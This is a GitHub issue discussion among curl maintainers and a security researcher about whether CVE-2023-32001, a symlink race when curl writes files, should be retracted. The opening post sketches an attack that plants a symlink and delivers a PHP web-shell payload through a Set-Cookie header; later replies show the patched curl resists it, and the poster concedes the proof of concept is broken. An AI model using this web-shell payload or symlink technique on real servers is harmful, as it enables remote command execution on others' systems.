CVE-2023-32001 fix incomplete, but really not a vuln to begin with

[piru]

I did this

n.b. While this is security related, we already had discussion about this on HackerOne where we decided that this isn't something that needs to reside there.

I argue that CVE-2023-32001 really wasn't a vulnerability. User of curl / libcurl must not hold any critical files in a directory that can be tampered by third-parties.

The argument behind the CVE-2023-32001 fix is that there is a race condition whereas the attacker can just switch the object type to allow overwriting files with the content that is being written with the function. However, for this to be a problem the attacker must be able to modify the directory to begin with.

First, the "security fix" only prevents access to regular files. You can still make the victim write to non-regular files, such as devices or pipes. This can be used to denial of service by writing over the beginning of a disk label (/dev/sdx etc) when curl is executed as appropriately privileged user.

Second, this "security fix" only prevents writing to already existing files. You can write to non-existing files just fine. Let's assume a naive PHP web application running on a server which the attacker also has local low-privileged access to. Let's assume the web application executes as www-data user and has write access to the location where the php files are hosted. Let's also imagine a functionality whereas curl will fetch some content while holding cookies in some insecure location where the attacker can modify the directory (write access to the directory). Say, let the PHP application use /opt/sillyapptmp/cookies.txt to hold the cookies while using curl (/opt/sillyapptmp is writable for the attacker user, as described).

The attacker then does:
- ln -s /var/www/sillyapp/shell.php /opt/sillyapptmp/cookies.txt
- The attacker triggers the target application to fetch URL https://attacker.controlled/
- The https://attacker.controlled/ does Set-Cookie: A=<?php passthru($_GET['cmd']); ?>. Once curl is done it writes the cookies and follows the softlink to /var/www/sillyapp/shell.php

Attacker can now execute arbitrary shell commands as www-data by invoking https:///targetapp/shell.php?cmd=shellcommandhere

This works perfectly fine regardless of the supposed CVE-2023-32001 fix, if the original premise of the "writable target directory" holds.

edited on 2022-08-21: While the target file is created, the check for the file means that the file will remain empty. While unwanted behaviour, this makes it unlikely to useful for attacker in most cases.

This attack (and CVE-2023-32001) only works if curl is used in a way that the files written by Curl_fopen are held in an insecure directory. This is a configuration mistake, not a vulnerability in curl. I thereby argue that CVE-2023-32001 really wasn't a vulnerability to begin with.

Now, accidents like this can still happen due to misconfiguration. It is however very hard to prevent exploiting them from a curl library perspective. It can be debated if this should even be attempted.

I expected the following

Maybe the documentation should be even more clear that this is not what curl / libcurl can defend against.

curl/libcurl version

curl 8.2.0

operating system

Any

[jay]

User of curl / libcurl must not hold any critical files in a directory that can be tampered by third-parties.

Maybe the documentation should be even more clear that this is not what curl / libcurl can defend against.

You can propose a PR with an added section in docs/libcurl/libcurl-security.3

[bagder]

Thanks a lot for this description @piru. I propose we retract this CVE based on this.

[danielgustafsson]

Thanks a lot for this description @piru. I propose we retract this CVE based on this.

I'm in favor.

[xquery]

agree with the analysis and conclusion though rejecting a CVE does not make it go away ... recently we keep on hitting up against more 'grey area' ... I see this as a good sign and maybe even a sign that newer (as in better) abstractions are needed to represent these configuration issues (in security in general) ... +0

[bagder]

rejecting a CVE does not make it go away

It probably depends on what you mean with "go away". We can make MITRE/NVD unlist it as a CVE for curl and we can stop listing it as a CVE on the curl website and documentation. I think that is good enough from our side.

I'm sure lots of orgs get the CVEs in a one-way process so they will never realize us backpedaling on this, but I believe that's their problem, not ours.

[xquery]

I'm sure lots of orgs get the CVEs in a one-way process so they will never realize us backpedaling on this, but I believe that's their problem, not ours.

yes, this is exactly the scenario - I do not know the right answer (eg. between rejecting a CVE or marking as WONTFIX with as much explanation as possible)

[SaltyMilk]

Hello @piru ,

I'm the researcher behind this CVE. I've read attentively your post and have some comments on this.

I argue that GHSA-xc3w-ghxg-pw5f really wasn't a vulnerability. User of curl / libcurl must not hold any critical files in a directory that can be tampered by third-parties.

This is definitely a great advice for users, however I don't believe this to be invalidating CVE-2023-32001. For the same reason a reflected XSS vulnerability should be fixed instead of just telling users "They shouldn't be clicking on untrusted links".

The argument behind the GHSA-xc3w-ghxg-pw5f fix is that there is a race condition whereas the attacker can just switch the object type to allow overwriting files with the content that is being written with the function. However, for this to be a problem the attacker must be able to modify the directory to begin with.

Indeed, as marked in the advisory an attacker must have write access to the directory in which curl will store the file. As you point it out, it's not a problem in other cases thankfully otherwise the severity of this would be way higher.

First, the "security fix" only prevents access to regular files. You can still make the victim write to non-regular files, such as devices or pipes. This can be used to denial of service by writing over the beginning of a disk label (/dev/sdx etc) when curl is executed as appropriately privileged user.

I have discussed this point explicitly with the curl team and was intended behavior from my understanding. However feel free to report this to the developers if you believe it to be a vulnerability with DoS implication.

Second, this "security fix" only prevents writing to already existing files. You can write to non-existing files just fine. Let's assume a naive PHP web application running on a server which the attacker also has local low-privileged access to. Let's assume the web application executes as www-data user and has write access to the location where the php files are hosted. Let's also imagine a functionality whereas curl will fetch some content while holding cookies in some insecure location where the attacker can modify the directory (write access to the directory). Say, let the PHP application use /opt/sillyapptmp/cookies.txt to hold the cookies while using curl (/opt/sillyapptmp is writable for the attacker user, as described).
Attacker can now execute arbitrary shell commands as www-data by invoking https:///targetapp/shell.php?cmd=shellcommandhere
This works perfectly fine regardless of the supposed GHSA-xc3w-ghxg-pw5f fix, if the original premise of the "writable target directory" holds.

I was not able to reproduce this behavior on curl versions patched for this CVE.

selmelc@deb:~/tests$ ln -s b a
selmelc@deb:~/tests$ ls -l
total 0
lrwxrwxrwx 1 selmelc selmelc 1 Aug 21 14:17 a -> b
selmelc@deb:~/tests$ curl --cookie-jar a google.com
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
selmelc@deb:~/tests$ ls -l 
total 4
-rw-r--r-- 1 selmelc selmelc 131 Aug 21 14:18 a
-rw-r--r-- 1 selmelc selmelc   0 Aug 21 14:18 b

If you're indeed able to make curl send the cookies to the file b here instead of overwriting the symbolic link please send a PoC of just that single step. As that would mean the fix implemented needs refining indeed.
But as it is, I believe you included wrong theoretical behavior to your scenario which is not how curl treats symbolic in this functionality.

This attack (and CVE-2023-32001) only works if curl is used in a way that the files written by Curl_fopen are held in an insecure directory. This is a configuration mistake, not a vulnerability in curl. I thereby argue that CVE-2023-32001 really wasn't a vulnerability to begin with.
Now, accidents like this can still happen due to misconfiguration. It is however very hard to prevent exploiting them from a curl library perspective. It can be debated if this should even be attempted.

I disagree with this, as clearly this is a basic TOCTOU vulnerability in curl's source code. I agree however that following best practices will mitigate it. But why would we not make software more secure if we can, especially when it's at the cost of such a negligible performance lost ?

Please let me know if you disagree with any technical point here, or can prove exploitablity of this vulnerability as I am willing to retest it instantly.

Have a nice day !

[piru]

@SaltyMilk

If you're indeed able to make curl send the cookies to the file b here instead of overwriting the symbolic link please send a PoC of just that single step.

You likely tested this with linux that has a protection against symlink attacks enabled by default. Other OSes remain vulnerable to symlink attacks as described. To simulate a system without such protections on linux, you can temporarily:
sudo sysctl -w fs.protected_symlinks=0
You naturally should restore the default value of 1 afterwards.

Either way, you have not provided any arguments that would have changed my assessment of the situation.

[SaltyMilk]

@piru

You likely tested this with linux that has a protection against symlink attacks enabled by default. Other OSes remain vulnerable to symlink attacks as described. To simulate a system without such protections on linux, you can temporarily:
sudo sysctl -w fs.protected_symlinks=0

As demonstrated below no, this is purely linked to curl's code that handles the file. And that was the reason it was important to patch that section of code.

selmelc@deb:~/tests$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
selmelc@deb:~/tests$ ln -s b a
selmelc@deb:~/tests$ ls -l
total 0
lrwxrwxrwx 1 selmelc selmelc 1 Aug 21 15:14 a -> b
selmelc@deb:~/tests$ curl --cookie-jar a google.com
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
selmelc@deb:~/tests$ ls -l 
total 4
-rw-r--r-- 1 selmelc selmelc 131 Aug 21 15:15 a
-rw-r--r-- 1 selmelc selmelc   0 Aug 21 15:15 b

But once again if you're able to reproduce the described behavior please do send a PoC as that would be very important information to this vulnerability.
Thanks for your feedback though !

[piru]

I will come back to this later: However, I reiterate, that I still do not consider it a vulnerability.

[piru]

Indeed, my PoC is broken. It'll only create an empty target file due to the !IS_REG test. So indeed my php exploit scenario does not really work as described.

Either way, I still stand by my arguments here. It is not up to curl to attempt to defend against insecure directory permissions.

Just to add my final comment: This of course doesn't mean that the patch should be reverted or something as silly. I argue that issues outside of control of curl (such as insecure directory permissions) should not be considered vulnerabilities in curl.

[SaltyMilk]

I will also add a final comment on this as I believe we've indeed both shared enough information for curl's team to make an informed decision on the matter at this point.

I respect your opinion on the matter, but personally believe it's actually in the control of curl. As proved by the fact that your PoC actually would work, but only if this was never reported and fixed.

Even if it seems I'm in complete opposition to you, I really appreciate the feedback on this. The PoC you gave for this vulnerability was very creative and insightful.

Best regards !

[bdooley23]

The CVE is rejected but the wording makes it sound like this is still a vulnerability but their is no fix available. See cve wording below. Is that correct?

• REJECT ** We issued this CVE pre-maturely, as we have subsequently realized that this issue points out a problem that there really is no safe measures around or protections for.

[SaltyMilk]

Hello @bdooley23,

I'm not part of the curl team and do not speak for them. But there is in fact a fix for it as mentioned in the original CVE description and it was implemented in this commit : 0c66718

You're not vulnerable if you have updated your curl version to version >= 8.2.0
For more information, feel free to read https://curl.se/docs/CVE-2023-32001.html